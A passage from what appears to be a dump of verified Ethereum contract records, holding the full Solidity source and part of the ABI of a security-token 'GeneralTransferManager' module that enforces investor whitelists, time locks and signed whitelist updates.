IStakeGatling","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"address","name":"_user","type":"address"}],"name":"tokenAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokenPoint0","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokenPoint1","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newMaster","type":"address"}],"name":"transferMastership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"untakeToken","outputs":[{"internalType":"uint256","name":"_tokenAmount","type":"uint256"},{"internalType":"uint256","name":"_leftAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_side","type":"uint256"},{"internalType":"address","name":"_account","type":"address"}],"name":"userPoint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca0 | Default | false | ||||
GeneralTransferManager | GeneralTransferManager.sol | 0x7cac4e5ad73463d496d956d96f9bfe36bd0974e2 | Solidity | pragma solidity ^0.4.24;
/**
* @title Utility contract to allow pausing and unpausing of certain functions
*/
contract Pausable {
event Pause(uint256 _timestammp);
event Unpause(uint256 _timestamp);
bool public paused = false;
/**
* @notice Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused, "Contract is paused");
_;
}
/**
* @notice Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused, "Contract is not paused");
_;
}
/**
* @notice Called by the owner to pause, triggers stopped state
*/
function _pause() internal whenNotPaused {
paused = true;
/*solium-disable-next-line security/no-block-members*/
emit Pause(now);
}
/**
* @notice Called by the owner to unpause, returns to normal state
*/
function _unpause() internal whenPaused {
paused = false;
/*solium-disable-next-line security/no-block-members*/
emit Unpause(now);
}
}
/**
* @title Interface that every module contract should implement
*/
interface IModule {
/**
* @notice This function returns the signature of configure function
*/
function getInitFunction() external pure returns (bytes4);
/**
* @notice Return the permission flags that are associated with a module
*/
function getPermissions() external view returns(bytes32[]);
/**
* @notice Used to withdraw the fee by the factory owner
*/
function takeFee(uint256 _amount) external returns(bool);
}
/**
* @title Interface for all security tokens
*/
interface ISecurityToken {
// Standard ERC20 interface
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool);
function increaseApproval(address _spender, uint _addedValue) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
//transfer, transferFrom must respect the result of verifyTransfer
function verifyTransfer(address _from, address _to, uint256 _value) external returns (bool success);
/**
* @notice Mints new tokens and assigns them to the target _investor.
* Can only be called by the STO attached to the token (Or by the ST owner if there's no STO attached yet)
* @param _investor Address the tokens will be minted to
* @param _value is the amount of tokens that will be minted to the investor
*/
function mint(address _investor, uint256 _value) external returns (bool success);
/**
* @notice Mints new tokens and assigns them to the target _investor.
* Can only be called by the STO attached to the token (Or by the ST owner if there's no STO attached yet)
* @param _investor Address the tokens will be minted to
* @param _value is The amount of tokens that will be minted to the investor
* @param _data Data to indicate validation
*/
function mintWithData(address _investor, uint256 _value, bytes _data) external returns (bool success);
/**
* @notice Used to burn the securityToken on behalf of someone else
* @param _from Address for whom to burn tokens
* @param _value No. of tokens to be burned
* @param _data Data to indicate validation
*/
function burnFromWithData(address _from, uint256 _value, bytes _data) external;
/**
* @notice Used to burn the securityToken
* @param _value No. of tokens to be burned
* @param _data Data to indicate validation
*/
function burnWithData(uint256 _value, bytes _data) external;
event Minted(address indexed _to, uint256 _value);
event Burnt(address indexed _burner, uint256 _value);
// Permissions this to a Permission module, which has a key of 1
// If no Permission return false - note that IModule withPerm will allow ST owner all permissions anyway
// this allows individual modules to override this logic if needed (to not allow ST owner all permissions)
function checkPermission(address _delegate, address _module, bytes32 _perm) external view returns (bool);
/**
* @notice Returns module list for a module type
* @param _module Address of the module
* @return bytes32 Name
* @return address Module address
* @return address Module factory address
* @return bool Module archived
* @return uint8 Module type
* @return uint256 Module index
* @return uint256 Name index
*/
function getModule(address _module) external view returns(bytes32, address, address, bool, uint8, uint256, uint256);
/**
* @notice Returns module list for a module name
* @param _name Name of the module
* @return address[] List of modules with this name
*/
function getModulesByName(bytes32 _name) external view returns (address[]);
/**
* @notice Returns module list for a module type
* @param _type Type of the module
* @return address[] List of modules with this type
*/
function getModulesByType(uint8 _type) external view returns (address[]);
/**
* @notice Queries totalSupply at a specified checkpoint
* @param _checkpointId Checkpoint ID to query as of
*/
function totalSupplyAt(uint256 _checkpointId) external view returns (uint256);
/**
* @notice Queries balance at a specified checkpoint
* @param _investor Investor to query balance for
* @param _checkpointId Checkpoint ID to query as of
*/
function balanceOfAt(address _investor, uint256 _checkpointId) external view returns (uint256);
/**
* @notice Creates a checkpoint that can be used to query historical balances / totalSuppy
*/
function createCheckpoint() external returns (uint256);
/**
* @notice Gets length of investors array
* NB - this length may differ from investorCount if the list has not been pruned of zero-balance investors
* @return Length
*/
function getInvestors() external view returns (address[]);
/**
* @notice returns an array of investors at a given checkpoint
* NB - this length may differ from investorCount as it contains all investors that ever held tokens
* @param _checkpointId Checkpoint id at which investor list is to be populated
* @return list of investors
*/
function getInvestorsAt(uint256 _checkpointId) external view returns(address[]);
/**
* @notice generates subset of investors
* NB - can be used in batches if investor list is large
* @param _start Position of investor to start iteration from
* @param _end Position of investor to stop iteration at
* @return list of investors
*/
function iterateInvestors(uint256 _start, uint256 _end) external view returns(address[]);
/**
* @notice Gets current checkpoint ID
* @return Id
*/
function currentCheckpointId() external view returns (uint256);
/**
* @notice Gets an investor at a particular index
* @param _index Index to return address from
* @return Investor address
*/
function investors(uint256 _index) external view returns (address);
/**
* @notice Allows the owner to withdraw unspent POLY stored by them on the ST or any ERC20 token.
* @dev Owner can transfer POLY to the ST which will be used to pay for modules that require a POLY fee.
* @param _tokenContract Address of the ERC20Basic compliance token
* @param _value Amount of POLY to withdraw
*/
function withdrawERC20(address _tokenContract, uint256 _value) external;
/**
* @notice Allows owner to approve more POLY to one of the modules
* @param _module Module address
* @param _budget New budget
*/
function changeModuleBudget(address _module, uint256 _budget) external;
/**
* @notice Changes the tokenDetails
* @param _newTokenDetails New token details
*/
function updateTokenDetails(string _newTokenDetails) external;
/**
* @notice Allows the owner to change token granularity
* @param _granularity Granularity level of the token
*/
function changeGranularity(uint256 _granularity) external;
/**
* @notice Removes addresses with zero balances from the investors list
* @param _start Index in investors list at which to start removing zero balances
* @param _iters Max number of iterations of the for loop
* NB - pruning this list will mean you may not be able to iterate over investors on-chain as of a historical checkpoint
*/
function pruneInvestors(uint256 _start, uint256 _iters) external;
/**
* @notice Freezes all the transfers
*/
function freezeTransfers() external;
/**
* @notice Un-freezes all the transfers
*/
function unfreezeTransfers() external;
/**
* @notice Ends token minting period permanently
*/
function freezeMinting() external;
/**
* @notice Mints new tokens and assigns them to the target investors.
* Can only be called by the STO attached to the token or by the Issuer (Security Token contract owner)
* @param _investors A list of addresses to whom the minted tokens will be delivered
* @param _values A list of the amount of tokens to mint to corresponding addresses from _investor[] list
* @return Success
*/
function mintMulti(address[] _investors, uint256[] _values) external returns (bool success);
/**
* @notice Function used to attach a module to the security token
* @dev E.G.: On deployment (through the STR) ST gets a TransferManager module attached to it
* @dev to control restrictions on transfers.
* @dev You are allowed to add a new moduleType if:
* @dev - there is no existing module of that type yet added
* @dev - the last member of the module list is replacable
* @param _moduleFactory is the address of the module factory to be added
* @param _data is data packed into bytes used to further configure the module (See STO usage)
* @param _maxCost max amount of POLY willing to pay to module. (WIP)
*/
function addModule(
address _moduleFactory,
bytes _data,
uint256 _maxCost,
uint256 _budget
) external;
/**
* @notice Archives a module attached to the SecurityToken
* @param _module address of module to archive
*/
function archiveModule(address _module) external;
/**
* @notice Unarchives a module attached to the SecurityToken
* @param _module address of module to unarchive
*/
function unarchiveModule(address _module) external;
/**
* @notice Removes a module attached to the SecurityToken
* @param _module address of module to archive
*/
function removeModule(address _module) external;
/**
* @notice Used by the issuer to set the controller addresses
* @param _controller address of the controller
*/
function setController(address _controller) external;
/**
* @notice Used by a controller to execute a forced transfer
* @param _from address from which to take tokens
* @param _to address where to send tokens
* @param _value amount of tokens to transfer
* @param _data data to indicate validation
* @param _log data attached to the transfer by controller to emit in event
*/
function forceTransfer(address _from, address _to, uint256 _value, bytes _data, bytes _log) external;
/**
* @notice Used by a controller to execute a foced burn
* @param _from address from which to take tokens
* @param _value amount of tokens to transfer
* @param _data data to indicate validation
* @param _log data attached to the transfer by controller to emit in event
*/
function forceBurn(address _from, uint256 _value, bytes _data, bytes _log) external;
/**
* @notice Used by the issuer to permanently disable controller functionality
* @dev enabled via feature switch "disableControllerAllowed"
*/
function disableController() external;
/**
* @notice Used to get the version of the securityToken
*/
function getVersion() external view returns(uint8[]);
/**
* @notice Gets the investor count
*/
function getInvestorCount() external view returns(uint256);
/**
* @notice Overloaded version of the transfer function
* @param _to receiver of transfer
* @param _value value of transfer
* @param _data data to indicate validation
* @return bool success
*/
function transferWithData(address _to, uint256 _value, bytes _data) external returns (bool success);
/**
* @notice Overloaded version of the transferFrom function
* @param _from sender of transfer
* @param _to receiver of transfer
* @param _value value of transfer
* @param _data data to indicate validation
* @return bool success
*/
function transferFromWithData(address _from, address _to, uint256 _value, bytes _data) external returns(bool);
/**
* @notice Provides the granularity of the token
* @return uint256
*/
function granularity() external view returns(uint256);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool);
function increaseApproval(address _spender, uint _addedValue) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Interface that any module contract should implement
* @notice Contract is abstract
*/
contract Module is IModule {
address public factory;
address public securityToken;
bytes32 public constant FEE_ADMIN = "FEE_ADMIN";
IERC20 public polyToken;
/**
* @notice Constructor
* @param _securityToken Address of the security token
* @param _polyAddress Address of the polytoken
*/
constructor (address _securityToken, address _polyAddress) public {
securityToken = _securityToken;
factory = msg.sender;
polyToken = IERC20(_polyAddress);
}
//Allows owner, factory or permissioned delegate
modifier withPerm(bytes32 _perm) {
bool isOwner = msg.sender == Ownable(securityToken).owner();
bool isFactory = msg.sender == factory;
require(isOwner||isFactory||ISecurityToken(securityToken).checkPermission(msg.sender, address(this), _perm), "Permission check failed");
_;
}
modifier onlyOwner {
require(msg.sender == Ownable(securityToken).owner(), "Sender is not owner");
_;
}
modifier onlyFactory {
require(msg.sender == factory, "Sender is not factory");
_;
}
modifier onlyFactoryOwner {
require(msg.sender == Ownable(factory).owner(), "Sender is not factory owner");
_;
}
modifier onlyFactoryOrOwner {
require((msg.sender == Ownable(securityToken).owner()) || (msg.sender == factory), "Sender is not factory or owner");
_;
}
/**
* @notice used to withdraw the fee by the factory owner
*/
function takeFee(uint256 _amount) public withPerm(FEE_ADMIN) returns(bool) {
require(polyToken.transferFrom(securityToken, Ownable(factory).owner(), _amount), "Unable to take fee");
return true;
}
}
/**
* @title Interface to be implemented by all Transfer Manager modules
* @dev abstract contract
*/
contract ITransferManager is Module, Pausable {
//If verifyTransfer returns:
// FORCE_VALID, the transaction will always be valid, regardless of other TM results
// INVALID, then the transfer should not be allowed regardless of other TM results
// VALID, then the transfer is valid for this TM
// NA, then the result from this TM is ignored
enum Result {INVALID, NA, VALID, FORCE_VALID}
function verifyTransfer(address _from, address _to, uint256 _amount, bytes _data, bool _isTransfer) public returns(Result);
function unpause() public onlyOwner {
super._unpause();
}
function pause() public onlyOwner {
super._pause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Transfer Manager module for core transfer validation functionality
*/
contract GeneralTransferManager is ITransferManager {
using SafeMath for uint256;
//Address from which issuances come
address public issuanceAddress = address(0);
//Address which can sign whitelist changes
address public signingAddress = address(0);
bytes32 public constant WHITELIST = "WHITELIST";
bytes32 public constant FLAGS = "FLAGS";
//from and to timestamps that an investor can send / receive tokens respectively
struct TimeRestriction {
uint256 fromTime;
uint256 toTime;
uint256 expiryTime;
bool canBuyFromSTO;
}
// An address can only send / receive tokens once their corresponding uint256 > block.number
// (unless allowAllTransfers == true or allowAllWhitelistTransfers == true)
mapping (address => TimeRestriction) public whitelist;
// Map of used nonces by customer
mapping(address => mapping(uint256 => bool)) public nonceMap;
//If true, there are no transfer restrictions, for any addresses
bool public allowAllTransfers = false;
//If true, time lock is ignored for transfers (address must still be on whitelist)
bool public allowAllWhitelistTransfers = false;
//If true, time lock is ignored for issuances (address must still be on whitelist)
bool public allowAllWhitelistIssuances = true;
//If true, time lock is ignored for burn transactions
bool public allowAllBurnTransfers = false;
// Emit when Issuance address get changed
event ChangeIssuanceAddress(address _issuanceAddress);
// Emit when there is change in the flag variable called allowAllTransfers
event AllowAllTransfers(bool _allowAllTransfers);
// Emit when there is change in the flag variable called allowAllWhitelistTransfers
event AllowAllWhitelistTransfers(bool _allowAllWhitelistTransfers);
// Emit when there is change in the flag variable called allowAllWhitelistIssuances
event AllowAllWhitelistIssuances(bool _allowAllWhitelistIssuances);
// Emit when there is change in the flag variable called allowAllBurnTransfers
event AllowAllBurnTransfers(bool _allowAllBurnTransfers);
// Emit when there is change in the flag variable called signingAddress
event ChangeSigningAddress(address _signingAddress);
// Emit when investor details get modified related to their whitelisting
event ModifyWhitelist(
address _investor,
uint256 _dateAdded,
address _addedBy,
uint256 _fromTime,
uint256 _toTime,
uint256 _expiryTime,
bool _canBuyFromSTO
);
/**
* @notice Constructor
* @param _securityToken Address of the security token
* @param _polyAddress Address of the polytoken
*/
constructor (address _securityToken, address _polyAddress)
public
Module(_securityToken, _polyAddress)
{
}
/**
* @notice This function returns the signature of configure function
*/
function getInitFunction() public pure returns (bytes4) {
return bytes4(0);
}
/**
* @notice Used to change the Issuance Address
* @param _issuanceAddress new address for the issuance
*/
function changeIssuanceAddress(address _issuanceAddress) public withPerm(FLAGS) {
issuanceAddress = _issuanceAddress;
emit ChangeIssuanceAddress(_issuanceAddress);
}
/**
* @notice Used to change the Sigining Address
* @param _signingAddress new address for the signing
*/
function changeSigningAddress(address _signingAddress) public withPerm(FLAGS) {
signingAddress = _signingAddress;
emit ChangeSigningAddress(_signingAddress);
}
/**
* @notice Used to change the flag
true - It refers there are no transfer restrictions, for any addresses
false - It refers transfers are restricted for all addresses.
* @param _allowAllTransfers flag value
*/
function changeAllowAllTransfers(bool _allowAllTransfers) public withPerm(FLAGS) {
allowAllTransfers = _allowAllTransfers;
emit AllowAllTransfers(_allowAllTransfers);
}
/**
* @notice Used to change the flag
true - It refers that time lock is ignored for transfers (address must still be on whitelist)
false - It refers transfers are restricted for all addresses.
* @param _allowAllWhitelistTransfers flag value
*/
function changeAllowAllWhitelistTransfers(bool _allowAllWhitelistTransfers) public withPerm(FLAGS) {
allowAllWhitelistTransfers = _allowAllWhitelistTransfers;
emit AllowAllWhitelistTransfers(_allowAllWhitelistTransfers);
}
/**
* @notice Used to change the flag
true - It refers that time lock is ignored for issuances (address must still be on whitelist)
false - It refers transfers are restricted for all addresses.
* @param _allowAllWhitelistIssuances flag value
*/
function changeAllowAllWhitelistIssuances(bool _allowAllWhitelistIssuances) public withPerm(FLAGS) {
allowAllWhitelistIssuances = _allowAllWhitelistIssuances;
emit AllowAllWhitelistIssuances(_allowAllWhitelistIssuances);
}
/**
* @notice Used to change the flag
true - It allow to burn the tokens
false - It deactivate the burning mechanism.
* @param _allowAllBurnTransfers flag value
*/
function changeAllowAllBurnTransfers(bool _allowAllBurnTransfers) public withPerm(FLAGS) {
allowAllBurnTransfers = _allowAllBurnTransfers;
emit AllowAllBurnTransfers(_allowAllBurnTransfers);
}
/**
* @notice Default implementation of verifyTransfer used by SecurityToken
* If the transfer request comes from the STO, it only checks that the investor is in the whitelist
* If the transfer request comes from a token holder, it checks that:
* a) Both are on the whitelist
* b) Seller's sale lockup period is over
* c) Buyer's purchase lockup is over
* @param _from Address of the sender
* @param _to Address of the receiver
*/
function verifyTransfer(address _from, address _to, uint256 /*_amount*/, bytes /* _data */, bool /* _isTransfer */) public returns(Result) {
if (!paused) {
if (allowAllTransfers) {
//All transfers allowed, regardless of whitelist
return Result.VALID;
}
if (allowAllBurnTransfers && (_to == address(0))) {
return Result.VALID;
}
if (allowAllWhitelistTransfers) {
//Anyone on the whitelist can transfer, regardless of time
return (_onWhitelist(_to) && _onWhitelist(_from)) ? Result.VALID : Result.NA;
}
if (allowAllWhitelistIssuances && _from == issuanceAddress) {
if (!whitelist[_to].canBuyFromSTO && _isSTOAttached()) {
return Result.NA;
}
return _onWhitelist(_to) ? Result.VALID : Result.NA;
}
//Anyone on the whitelist can transfer provided the blocknumber is large enough
/*solium-disable-next-line security/no-block-members*/
return ((_onWhitelist(_from) && whitelist[_from].fromTime <= now) &&
(_onWhitelist(_to) && whitelist[_to].toTime <= now)) ? Result.VALID : Result.NA; /*solium-disable-line security/no-block-members*/
}
return Result.NA;
}
/**
* @notice Adds or removes addresses from the whitelist.
* @param _investor is the address to whitelist
* @param _fromTime is the moment when the sale lockup period ends and the investor can freely sell his tokens
* @param _toTime is the moment when the purchase lockup period ends and the investor can freely purchase tokens from others
* @param _expiryTime is the moment till investors KYC will be validated. After that investor need to do re-KYC
* @param _canBuyFromSTO is used to know whether the investor is restricted investor or not.
*/
function modifyWhitelist(
address _investor,
uint256 _fromTime,
uint256 _toTime,
uint256 _expiryTime,
bool _canBuyFromSTO
)
public
withPerm(WHITELIST)
{
//Passing a _time == 0 into this function, is equivalent to removing the _investor from the whitelist
whitelist[_investor] = TimeRestriction(_fromTime, _toTime, _expiryTime, _canBuyFromSTO);
/*solium-disable-next-line security/no-block-members*/
emit ModifyWhitelist(_investor, now, msg.sender, _fromTime, _toTime, _expiryTime, _canBuyFromSTO);
}
/**
* @notice Adds or removes addresses from the whitelist.
* @param _investors List of the addresses to whitelist
* @param _fromTimes An array of the moment when the sale lockup period ends and the investor can freely sell his tokens
* @param _toTimes An array of the moment when the purchase lockup period ends and the investor can freely purchase tokens from others
* @param _expiryTimes An array of the moment till investors KYC will be validated. After that investor need to do re-KYC
* @param _canBuyFromSTO An array of boolean values
*/
function modifyWhitelistMulti(
address[] _investors,
uint256[] _fromTimes,
uint256[] _toTimes,
uint256[] _expiryTimes,
bool[] _canBuyFromSTO
) public withPerm(WHITELIST) {
require(_investors.length == _fromTimes.length, "Mismatched input lengths");
require(_fromTimes.length == _toTimes.length, "Mismatched input lengths");
require(_toTimes.length == _expiryTimes.length, "Mismatched input lengths");
require(_canBuyFromSTO.length == _toTimes.length, "Mismatched input length");
for (uint256 i = 0; i < _investors.length; i++) {
modifyWhitelist(_investors[i], _fromTimes[i], _toTimes[i], _expiryTimes[i], _canBuyFromSTO[i]);
}
}
/**
* @notice Adds or removes addresses from the whitelist - can be called by anyone with a valid signature
* @param _investor is the address to whitelist
* @param _fromTime is the moment when the sale lockup period ends and the investor can freely sell his tokens
* @param _toTime is the moment when the purchase lockup period ends and the investor can freely purchase tokens from others
* @param _expiryTime is the moment till investors KYC will be validated. After that investor need to do re-KYC
* @param _canBuyFromSTO is used to know whether the investor is restricted investor or not.
* @param _validFrom is the time that this signature is valid from
* @param _validTo is the time that this signature is valid until
* @param _nonce nonce of signature (avoid replay attack)
* @param _v issuer signature
* @param _r issuer signature
* @param _s issuer signature
*/
function modifyWhitelistSigned(
address _investor,
uint256 _fromTime,
uint256 _toTime,
uint256 _expiryTime,
bool _canBuyFromSTO,
uint256 _validFrom,
uint256 _validTo,
uint256 _nonce,
uint8 _v,
bytes32 _r,
bytes32 _s
) public {
/*solium-disable-next-line security/no-block-members*/
require(_validFrom <= now, "ValidFrom is too early");
/*solium-disable-next-line security/no-block-members*/
require(_validTo >= now, "ValidTo is too late");
require(!nonceMap[_investor][_nonce], "Already used signature");
nonceMap[_investor][_nonce] = true;
bytes32 hash = keccak256(
abi.encodePacked(this, _investor, _fromTime, _toTime, _expiryTime, _canBuyFromSTO, _validFrom, _validTo, _nonce)
);
_checkSig(hash, _v, _r, _s);
//Passing a _time == 0 into this function, is equivalent to removing the _investor from the whitelist
whitelist[_investor] = TimeRestriction(_fromTime, _toTime, _expiryTime, _canBuyFromSTO);
/*solium-disable-next-line security/no-block-members*/
emit ModifyWhitelist(_investor, now, msg.sender, _fromTime, _toTime, _expiryTime, _canBuyFromSTO);
}
/**
* @notice Used to verify the signature
*/
function _checkSig(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal view {
//Check that the signature is valid
//sig should be signing - _investor, _fromTime, _toTime & _expiryTime and be signed by the issuer address
address signer = ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash)), _v, _r, _s);
require(signer == Ownable(securityToken).owner() || signer == signingAddress, "Incorrect signer");
}
/**
* @notice Internal function used to check whether the investor is in the whitelist or not
& also checks whether the KYC of investor get expired or not
* @param _investor Address of the investor
*/
function _onWhitelist(address _investor) internal view returns(bool) {
return (((whitelist[_investor].fromTime != 0) || (whitelist[_investor].toTime != 0)) &&
(whitelist[_investor].expiryTime >= now)); /*solium-disable-line security/no-block-members*/
}
/**
* @notice Internal function use to know whether the STO is attached or not
*/
function _isSTOAttached() internal view returns(bool) {
bool attached = ISecurityToken(securityToken).getModulesByType(3).length > 0;
return attached;
}
/**
* @notice Return the permissions flag that are associated with general trnasfer manager
*/
function getPermissions() public view returns(bytes32[]) {
bytes32[] memory allPermissions = new bytes32[](2);
allPermissions[0] = WHITELIST;
allPermissions[1] = FLAGS;
return allPermissions;
}
} | [{"constant":false,"inputs":[{"name":"_investors","type":"address[]"},{"name":"_fromTimes","type":"uint256[]"},{"name":"_toTimes","type":"uint256[]"},{"name":"_expiryTimes","type":"uint256[]"},{"name":"_canBuyFromSTO","type":"bool[]"}],"name":"modifyWhitelistMulti","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"allowAllBurnTransfers","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getInitFunction","outputs":[{"name":"","type":"bytes4"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"WHITELIST","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"allowAllWhitelistTransfers","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_allowAllTransfers","type":"bool"}],"name":"changeAllowAllTransfers","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_signingAddress","type":"address"}],"name":"changeSigningAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_amount","type":"uint256"}],"name":"takeFee","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"polyToken","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_allowAllWhitelistIssuances","type":"bool"}],"name":"changeAllowAllWhitelistIssuances","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_allowAllWhitelistTransfers","type":"bool"}],"name":"changeAllowAllWhitelistTransfers","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"FLAGS","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"whitelist","outputs":[{"name":"fromTime","type":"uint256"},{"name":"toTime","type":"uint256"},{"name":"expiryTime","type":"uint256"},{"name":"canBuyFromSTO","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"uint256"}],"name":"nonceMap","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"allowAllTransfers","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signingAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"issuanceAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"securityToken","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getPermissions","outputs":[{"name":"","type":"bytes32[]"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"factory","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"FEE_ADMIN","outputs":[{"name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_investor","type":"address"},{"name":"_fromTime","type":"uint256"},{"name":"_toTime","type":"uint256"},{"name":"_expiryTime","type":"uint256"},{"name":"_canBuyFromSTO","type":"bool"}],"name":"modifyWhitelist","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"","type":"uint256"},{"name":"","type":"bytes"},{"name":"","type":"bool"}],"name":"verifyTransfer","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_issuanceAddress","type":"address"}],"name":"changeIssuanceAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"allowAllWhitelistIssuances","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_allowAllBurnTransfers","type":"bool"}],"name":"changeAllowAllBurnTransfers","outputs":[],"payable":false,"stateMutability":"nonpayable","